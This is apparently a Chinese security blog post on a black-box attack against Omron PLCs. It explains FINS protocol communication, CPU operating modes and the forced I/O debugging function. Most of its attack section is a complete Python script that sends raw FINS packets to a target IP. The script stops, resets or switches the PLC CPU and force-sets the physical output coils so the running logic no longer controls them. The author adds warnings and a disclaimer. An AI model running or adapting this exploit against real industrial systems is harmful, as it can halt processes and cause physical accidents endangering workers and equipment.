提到对PLC的攻击往往除了PLC设备本身存在的缺陷和漏洞外,要实现对PLC内运行的逻辑在特定环境下达到特定的攻击演示效果,往往可以使用PLC支持的一些内部功能实现,这些功能可以通过PLC支持的通信协议完成构造并实现远程利用。
在今年的Kcon会场外设置的工控Hack的环节,我当时便设计了3种针对西门子S7-300 PLC内部逻辑程序或变量进行修改,从而达到特定目的和攻击效果的黑盒测试(总结),而本文则主要介绍了针对欧姆龙(Omron)PLC的一种黑盒攻击方式。
什么是PLC的I/O?
I/O即input和output的简写, PLC作为一种可编程的工业嵌入式计算机,它控制了大量的自动化生产过程,要实现对过程的控制,简单来说是用户通过编程对输入输出(I/O)模块信号的采集与控制实现的。PLC一般具有高度模块化,PLC可以非常方便的对I/O等卡件进行更换或增加。
欧姆龙FINS协议介绍
FINS协议是计算机与欧姆龙系列PLC之间进行通信的一种通信协议,FINS协议默认使用的以太网端口为9600,FINS协议可以以UDP或TCP模式运行,曾经我也对欧姆龙的FINS协议在公网的运行情况做过详细统计,协议的具体构造方式和命令字可以参照欧姆龙FINS命令手册。
欧姆龙PLC的工作状态介绍
常见的欧姆龙PLC具有3种工作状态,即运行模式(RUN)、监视模式(MONITOR)、编程模式(PROGRAM)。
运行模式(RUN):PLC内用户的逻辑程序正常运行,并且不能对PLC进行置位和强制写入内存操作。
监视模式(MONITOR):PLC内用户的逻辑程序正常运行,可以置位和强制写入,也可以对I/O点和辅助继电器进行操作。可以在线修改程序。
编程模式(PROGRAM):PLC内用户的逻辑程序不运行。可以对内存进行清零(格式化)操作。经过测试强制写入依然生效,依然可以在编程模式下强制激活物理I/O输出端子。
使用强制I/O实现对物理输出端子的控制
在各个厂家的PLC中往往拥有一个强制I/O的功能,主要用于方便进行工程调试,所谓强制就是脱离用户逻辑程序的控制,强制设置后的内存变量将不会受用户的程序影响,强制状态不取消的情况下,变量值将保持不变。甚至有些厂家的PLC即使重新上电后强制值如果不手动取消,强制值依然不会丢失。强制功能在众多厂商的用户手册当中都被定义为注意操作事项,如果在实际环境中操作不当将会容易产生事故。
如下图,为定时输出给一个线圈开状态的简单程序,即时当前还处于定时器的运行过程中,使用强制功能也可以给出ON信号,将不会受程序影响。
实现一个攻击测试程序
根据欧姆龙PLC对物理I/O端子的地址定义,如下图。
为某型号开关量输出模块接线图和默认物理端子输出地址,那么可以使用FINS协议的命令集构建切换PLC CPU到监视模式的请求报文,然后批量或循环强制写内存变量CIO100.00到一定范围的测试用例。这样就可以轻松达到针对物理输出的远程控制。如下图,为由强制开,接管流水灯逻辑,原逻辑虽然运行但是物理输出依然为原强制的状态,欧姆龙PLC CPU自带的开关量输出端子全部被置ON激活。
测试代码
注意!!! 不要运行在真实和在线的控制系统!!!这将导致系统停机和异常!!!
以下代码均经过测试,含有攻击性,如有非法攻击行为均由实施运行个人承担。
code:
import sys, socket, binascii, time, re
#
# ICS Security Workspace(plcscan.org)
# Author:Z-0ne
# Warning:will affect the real plc system operation!!!
#
# Func:Forced set CIO data and Control CPU
#
def send_receive(s,size,strdata):
senddata = binascii.unhexlify(strdata)
s.send(senddata)
try:
resp = s.recv(1024)
return resp
except socket.timeout:
print 'send commad but no respone'
except socket.error:
print 'err'
def validata(ip):
ipdata = re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', ip)
if not ipdata:
return False
return True
def initconnect(s):
init_address = send_receive(s,1024,'46494e530000000c000000000000000000000000')
if len(init_address) > 23:
address_code = binascii.b2a_hex(init_address[23])
else:
print 'len err'
getinfo = send_receive(s,1024,'46494e5300000015000000020000000080000200' + address_code + '000000ef05050100')
print "Controller Model:" + getinfo[30:67]
def run_plc_cpu(s):
send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670401ffff')
def run_monitor_cpu(s):
send_receive(s,1024,'46494e53000000160000000200000000c0000200fb00000000a604010000')
def stop_plc_cpu(s):
send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670402ffff')
def reset_plc_cpu(s):
send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670403ffff')
def loop_forced_set(s,iostate):
if iostate == 'on':
coil_state_code = '01'
print 'Forced set on'
elif iostate == 'off':
coil_state_code = '00'
print 'Forced set off'
else:
print 'Forced set on'
coil_state_code = '01'
#(to forced set CIO default physical output address(start at 100.00)
for i in range(int(0),int(101)):
print 'set default physical output at CIO out 100.%s' %(i)
send_receive(s,1024,'46494e530000001c000000020000000080000700000000fb007e2301000100' + coil_state_code + '3000' + '64' + "%02x"%(i))
def cancel_forced_set(s):
send_receive(s,1024,'46494e5300000014000000020000000080000700000000fb00722302')
raw_input('Warning:will affect the real system operation!!!Enter to continue!!!')
if not len(sys.argv) == 2:
ip = raw_input('Target PLC IP:')
else:
ip = sys.argv[1]
if not validata(ip):
print 'err'
sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# no respone timeout
s.settimeout(3)
s.connect((ip,9600))
print 'connect to the plc device.....'
print 'start read device information.....'
initconnect(s)
while True:
func = raw_input('Func(run/monitor/stop/reset/quit):')
iostate = raw_input('Set Forced State(on/off/cancel/quit):')
if func == 'run':
run_plc_cpu(s)
elif func == 'monitor':
run_monitor_cpu(s)
elif func == 'stop':
stop_plc_cpu(s)
elif func == 'reset':
reset_plc_cpu(s)
elif func == 'quit':
print 'input func'
else:
print 'input err1'
if iostate == 'on':
loop_forced_set(s,iostate)
elif iostate == 'off':
loop_forced_set(s,iostate)
elif iostate == 'cancel':
cancel_forced_set(s)
elif iostate == 'quit':
print 'input state'
else:
'input err2'
if raw_input('exit:') == 'exit':
s.close()
break